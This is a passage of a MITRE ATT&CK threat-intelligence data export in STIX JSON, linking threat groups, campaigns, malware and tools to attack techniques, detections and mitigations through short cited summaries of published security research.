Zero-Day Exploitation January 2024","description":"Meltzer, M. et al. (2024, January 10). Active Exploitation of Two Zero-Day Vulnerabilities in Ivanti Connect Secure VPN. Retrieved February 27, 2024.","url":"https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-06T17:51:14.674Z","description":"During [Cutting Edge](https://attack.mitre.org/campaigns/C0029), threat actors peformed reconnaissance of victims' internal websites via proxied connections.(Citation: Volexity Ivanti Zero-Day Exploitation January 2024)","relationship_type":"uses","source_ref":"campaign--4fdd2487-26c1-494e-8702-ec5abe9aa1d9","target_ref":"attack-pattern--16cdd21f-da65-4e4f-bc04-dd7d198c7b26","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5765c7d1-884f-4d6d-a938-4a92c86a9e21","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Secpod Winexe June 2017","description":"Prakash, T. (2017, June 21). Run commands on Windows system remotely using Winexe. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20211019012628/https://www.secpod.com/blog/winexe/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T17:36:35.124Z","description":"[Winexe](https://attack.mitre.org/software/S0191) installs a service on the remote system, executes the command, then uninstalls the service.(Citation: Secpod Winexe June 2017)","relationship_type":"uses","source_ref":"tool--96fd6cc4-a693-4118-83ec-619e5352d07d","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--576c98f3-5753-4242-a5e3-7c0f769c27a1","type":"relationship","created":"2021-03-25T14:53:58.068Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Zscaler APT31 Covid-19 October 2020","url":"https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online","description":"Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021."}],"modified":"2021-03-25T14:53:58.068Z","description":"[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used a tool to capture the time on a compromised host in order to register it with C2.(Citation: Zscaler APT31 Covid-19 October 2020)","relationship_type":"uses","source_ref":"intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--576cbf79-037c-4265-af56-cd0d7a57c1b9","created":"2022-09-27T18:12:28.986Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-07T20:43:43.651Z","description":"For [Operation Wocao](https://attack.mitre.org/campaigns/C0014), the threat actors purchased servers with Bitcoin to use during the operation.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--60c4b628-4807-4b0b-bbf5-fdac8643c337","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--576db5e8-7371-4dea-ada9-599cc231e727","type":"relationship","created":"2020-06-10T18:15:11.862Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:32.391Z","description":"[BBK](https://attack.mitre.org/software/S0470) has the ability to download files from C2 to the infected host.(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"malware--f0fc920e-57a3-4af5-89be-9ea594c8b1ea","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--576f0fb4-4cd7-467b-9208-3977321705e4","created":"2022-09-29T19:56:25.812Z","revoked":false,"external_references":[{"source_name":"DFIR Conti Bazar Nov 2021","description":"DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.","url":"https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-29T19:56:25.812Z","description":"During [C0015](https://attack.mitre.org/campaigns/C0015), the threat actors obtained files and data from the compromised network.(Citation: DFIR Conti Bazar Nov 2021)","relationship_type":"uses","source_ref":"campaign--78068e68-4124-4243-b6f4-76e4e5be8a06","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--57733df2-7d2d-470a-afbb-8f48b7c53821","created":"2024-08-22T21:05:28.731Z","revoked":false,"external_references":[{"source_name":"Kandji Cuckoo April 2024","description":"Kohler, A. and Lopez, C. (2024, April 30). Malware: Cuckoo Behaves Like Cross Between Infostealer and Spyware. Retrieved August 20, 2024.","url":"https://www.kandji.io/blog/malware-cuckoo-infostealer-spyware"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-22T21:05:28.731Z","description":"[Cuckoo Stealer](https://attack.mitre.org/software/S1153) can run `screencapture` to collect screenshots from compromised hosts. (Citation: Kandji Cuckoo April 2024)","relationship_type":"uses","source_ref":"malware--457a5e8d-d964-4130-bde3-c07bb41a093e","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--577796a0-efbb-4023-9083-a76f97bec6f8","type":"relationship","created":"2020-11-10T21:04:35.408Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Brazilian Banking Malware July 2020","url":"https://securelist.com/the-tetrade-brazilian-banking-malware/97779/","description":"GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."}],"modified":"2020-11-10T21:04:35.408Z","description":"[Melcoz](https://attack.mitre.org/software/S0530) can monitor the victim's browser for online banking sessions and display an overlay window to manipulate the session in the background.(Citation: Securelist Brazilian Banking Malware July 2020)","relationship_type":"uses","source_ref":"malware--d3105fb5-c494-4fd1-a7be-414eab9e0c96","target_ref":"attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5779f61c-d06b-424d-92b9-3690e5d42a42","created":"2024-08-01T22:13:44.187Z","revoked":false,"external_references":[{"source_name":"Sekoia Raccoon2 2022","description":"Pierre Le Bourhis, Quentin Bourgue, & Sekoia TDR. (2022, June 29). Raccoon Stealer v2 - Part 2: In-depth analysis. Retrieved August 1, 2024.","url":"https://blog.sekoia.io/raccoon-stealer-v2-part-2-in-depth-analysis/"},{"source_name":"S2W Racoon 2022","description":"S2W TALON. (2022, June 16). Raccoon Stealer is Back with a New Version. Retrieved August 1, 2024.","url":"https://medium.com/s2wblog/raccoon-stealer-is-back-with-a-new-version-5f436e04b20d"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-01T22:13:44.187Z","description":"[Raccoon Stealer](https://attack.mitre.org/software/S1148) gathers victim machine timezone information.(Citation: S2W Racoon 2022)(Citation: Sekoia Raccoon2 2022)","relationship_type":"uses","source_ref":"malware--b5a8fb8b-4ff1-43e5-a1ad-75ae565f5175","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--577a7635-c4e3-42ab-8f16-d59330fdd535","created":"2021-01-20T18:39:29.145Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NCC Group Chimera January 2021","description":"Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20230218064220/https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:24:40.420Z","description":"[Chimera](https://attack.mitre.org/groups/G0114) has utilized multiple commands to identify data of interest in file and directory listings.(Citation: NCC Group Chimera January 2021)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--577e10be-95b2-448c-bd12-1ee31f9514b6","created":"2022-03-30T14:26:51.848Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Now You Serial","description":"Rahman, Alyssa. (2021, December 13). Now You Serial, Now You Don’t — Systematically Hunting for Deserialization Exploits. Retrieved November 28, 2023.","url":"https://www.mandiant.com/resources/blog/hunting-deserialization-exploits"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-24T14:31:32.078Z","description":"Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection strings or known payloads. For example, monitor for successively chained functions that adversaries commonly abuse (i.e. gadget chaining) through unsafe deserialization to exploit publicly facing applications for initial access.(Citation: Now You Serial) In AWS environments, monitor VPC flow logs and/or Elastic Load Balancer (ELB) logs going to and from instances hosting externally accessible applications.","relationship_type":"detects","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--577f5fe4-3fb4-4969-a5a4-5b7c1bc693a8","type":"relationship","created":"2021-03-04T14:47:27.407Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity Exchange Marauder March 2021","url":"https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/","description":"Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021."}],"modified":"2021-03-04T14:47:27.407Z","description":"(Citation: Volexity Exchange Marauder March 2021)","relationship_type":"uses","source_ref":"intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87","target_ref":"tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--57828888-a833-44c7-af2c-e250d799a9bc","type":"relationship","created":"2020-06-15T20:49:55.576Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Dyreza November 2015","url":"https://blog.malwarebytes.com/threat-analysis/2015/11/a-technical-look-at-dyreza/","description":"hasherezade. (2015, November 4). A Technical Look At Dyreza. Retrieved June 15, 2020."}],"modified":"2020-06-15T20:49:55.576Z","description":"[Dyre](https://attack.mitre.org/software/S0024) has the ability to achieve persistence by adding a new task in the task scheduler to run every minute.(Citation: Malwarebytes Dyreza November 2015)","relationship_type":"uses","source_ref":"malware--63c2a130-8a5b-452f-ad96-07cf0af12ffe","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5782aac5-a4c6-4d17-88c9-e29b795e3ee7","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Bankshot","description":"Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.","url":"https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/"},{"source_name":"US-CERT Bankshot Dec 2017","description":"US-CERT. (2017, December 13). Malware Analysis Report (MAR) - 10135536-B. Retrieved July 17, 2018.","url":"https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF"}],"modified":"2020-02-18T03:40:29.832Z","description":"[Bankshot](https://attack.mitre.org/software/S0239) can terminate a specific process by its process id.(Citation: McAfee Bankshot)(Citation: US-CERT Bankshot Dec 2017)","relationship_type":"uses","source_ref":"malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--578433f2-d3d3-4434-8b6c-986c14204b92","created":"2023-01-17T21:55:43.672Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Costa AvosLocker May 2022","description":"Costa, F. (2022, May 1). RaaS AvosLocker Incident Response Analysis. Retrieved January 11, 2023.","url":"https://www.linkedin.com/pulse/raas-avoslocker-incident-response-analysis-fl%C3%A1vio-costa?trk=articles_directory"},{"source_name":"Cisco Talos Avos Jun 2022","description":"Venere, G. Neal, C. (2022, June 21). Avos ransomware group expands with new attack arsenal. Retrieved January 11, 2023.","url":"https://blog.talosintelligence.com/avoslocker-new-arsenal/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-14T16:47:55.127Z","description":"During [C0018](https://attack.mitre.org/campaigns/C0018), the threat actors transferred the SoftPerfect Network Scanner and other tools to machines in the network using AnyDesk and PDQ Deploy.(Citation: Cisco Talos Avos Jun 2022)(Citation: Costa AvosLocker May 2022)","relationship_type":"uses","source_ref":"campaign--519ee082-8ab6-439b-988f-a8a3f02c8d30","target_ref":"attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--57851829-665d-4871-9327-1734547f7d9d","created":"2023-09-20T18:35:12.633Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Telefonica Snip3 December 2021","description":"Jornet, A. (2021, December 23). Snip3, an investigation into malware. Retrieved September 19, 2023.","url":"https://telefonicatech.com/blog/snip3-investigacion-malware"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-20T18:36:23.549Z","description":"[AsyncRAT](https://attack.mitre.org/software/S1087) can check if the current user of a compromised system is an administrator. (Citation: Telefonica Snip3 December 2021)","relationship_type":"uses","source_ref":"tool--6a5947f3-1a36-4653-8734-526df3e1d28d","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--578a4fd8-7c24-44b2-a7c3-1a47786d3c9a","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 OopsIE! Feb 2018","description":"Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/"}],"modified":"2020-03-20T18:23:46.345Z","description":"[OopsIE](https://attack.mitre.org/software/S0264) encodes data in hexadecimal format over the C2 channel.(Citation: Unit 42 OopsIE! Feb 2018)","relationship_type":"uses","source_ref":"malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5791055c-1a0c-460e-91cc-7d85278ce533","type":"relationship","created":"2021-10-11T19:34:23.364Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Bandook Nov 2020","url":"https://research.checkpoint.com/2020/bandook-signed-delivered/","description":"Check Point. (2020, November 26). Bandook: Signed & Delivered. Retrieved May 31, 2021."}],"modified":"2021-10-11T19:34:23.364Z","description":"[Bandook](https://attack.mitre.org/software/S0234) has used .PNG images within a zip file to build the executable. (Citation: CheckPoint Bandook Nov 2020)","relationship_type":"uses","source_ref":"malware--835a79f1-842d-472d-b8f4-d54b545c341b","target_ref":"attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--57932175-4fe3-4ea1-b758-4cb6156273b2","type":"relationship","created":"2020-01-17T16:52:36.096Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-17T16:52:36.096Z","relationship_type":"revoked-by","source_ref":"attack-pattern--dd901512-6e37-4155-943b-453e3777b125","target_ref":"attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5793708d-b25a-4276-9b0b-697a8494e0f8","type":"relationship","created":"2021-02-08T23:18:31.837Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike Indrik November 2018","url":"https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/","description":"Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."}],"modified":"2021-04-20T02:41:22.153Z","description":"[BitPaymer](https://attack.mitre.org/software/S0570) can modify the timestamp of an executable so that it can be identified and restored by the decryption tool.(Citation: Crowdstrike Indrik November 2018)","relationship_type":"uses","source_ref":"malware--fa766a65-5136-4ff3-8429-36d08eaa0100","target_ref":"attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--57966b1d-4770-49fb-afb6-b02699bb8154","created":"2019-01-29T18:55:20.848Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Riskiq Remcos Jan 2018","description":"Klijnsma, Y. (2018, January 23). Espionage Campaign Leverages Spear Phishing, RATs Against Turkish Defense Contractors. Retrieved November 6, 2018.","url":"https://web.archive.org/web/20180124082756/https://www.riskiq.com/blog/labs/spear-phishing-turkish-defense-contractors/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-12-23T14:07:20.661Z","description":"[Remcos](https://attack.mitre.org/software/S0332) uses Python scripts.(Citation: Riskiq Remcos Jan 2018)","relationship_type":"uses","source_ref":"tool--7cd0bc75-055b-4098-a00e-83dc8beaff14","target_ref":"attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5797b454-e7cc-45a3-9bf1-7708d7286531","type":"relationship","created":"2020-06-19T19:08:40.372Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Valak May 2020","url":"https://www.cybereason.com/blog/valak-more-than-meets-the-eye","description":"Salem, E. et al. (2020, May 28). VALAK: MORE THAN MEETS THE EYE . Retrieved June 19, 2020."}],"modified":"2020-06-19T19:08:40.372Z","description":"[Valak](https://attack.mitre.org/software/S0476) has the ability to take screenshots on a compromised host.(Citation: Cybereason Valak May 2020)\t ","relationship_type":"uses","source_ref":"malware--ade37ada-14af-4b44-b36c-210eec255d53","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5799308b-e710-40b8-ad64-2b7916673560","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://pan-unit42.github.io/playbook_viewer/","description":"Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.","source_name":"Unit 42 Playbook Dec 2017"},{"description":"Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018.","url":"https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html","source_name":"Talos Seduploader Oct 2017"},{"description":"Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New ‘Cannon’ Trojan. Retrieved November 26, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/","source_name":"Unit42 Cannon Nov 2018"},{"source_name":"Accenture SNAKEMACKEREL Nov 2018","url":"https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50","description":"Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019."},{"source_name":"TrendMicro Pawn Storm Dec 2020","url":"https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html","description":"Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm’s Lack of Sophistication as a Strategy. Retrieved January 13, 2021."}],"modified":"2021-01-13T21:54:30.306Z","description":"An [APT28](https://attack.mitre.org/groups/G0007) loader Trojan uses a cmd.exe and batch script to run its payload.(Citation: Unit 42 Playbook Dec 2017) The group has also used macros to execute payloads.(Citation: Talos Seduploader Oct 2017)(Citation: Unit42 Cannon Nov 2018)(Citation: Accenture SNAKEMACKEREL Nov 2018)(Citation: TrendMicro Pawn Storm Dec 2020)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--579bdadc-b080-49f1-be32-283b06444569","type":"relationship","created":"2020-10-01T01:09:53.313Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-01T01:09:53.313Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--65013dd2-bc61-43e3-afb5-a14c4fa7437a","target_ref":"attack-pattern--cdfc5f0a-9bb9-4352-b896-553cfa2d8fd8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--579ddc49-aacd-4b02-9f90-4ee1689f4f23","type":"relationship","created":"2020-02-20T17:27:40.301Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Grassi, P., et al. (2017, December 1). SP 800-63-3, Digital Identity Guidelines. Retrieved January 16, 2019.","url":"https://pages.nist.gov/800-63-3/sp800-63b.html","source_name":"NIST 800-63-3"}],"modified":"2021-04-06T12:31:06.885Z","description":"Refer to NIST guidelines when creating password policies. (Citation: NIST 800-63-3)","relationship_type":"mitigates","source_ref":"course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485","target_ref":"attack-pattern--b2d03cea-aec1-45ca-9744-9ee583c1e1cc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--579ff596-a4eb-486f-878e-2f8434611d00","type":"relationship","created":"2020-02-14T13:09:51.263Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-06-08T17:08:08.535Z","description":"Consider periodic review of accounts and privileges for critical and sensitive Confluence repositories.","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--7ad38ef1-381a-406d-872a-38b136eb5ecc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--57a19f3b-838f-45df-8cfe-964cbe5396d2","type":"relationship","created":"2020-05-06T21:01:23.426Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Attor Oct 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf","description":"Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 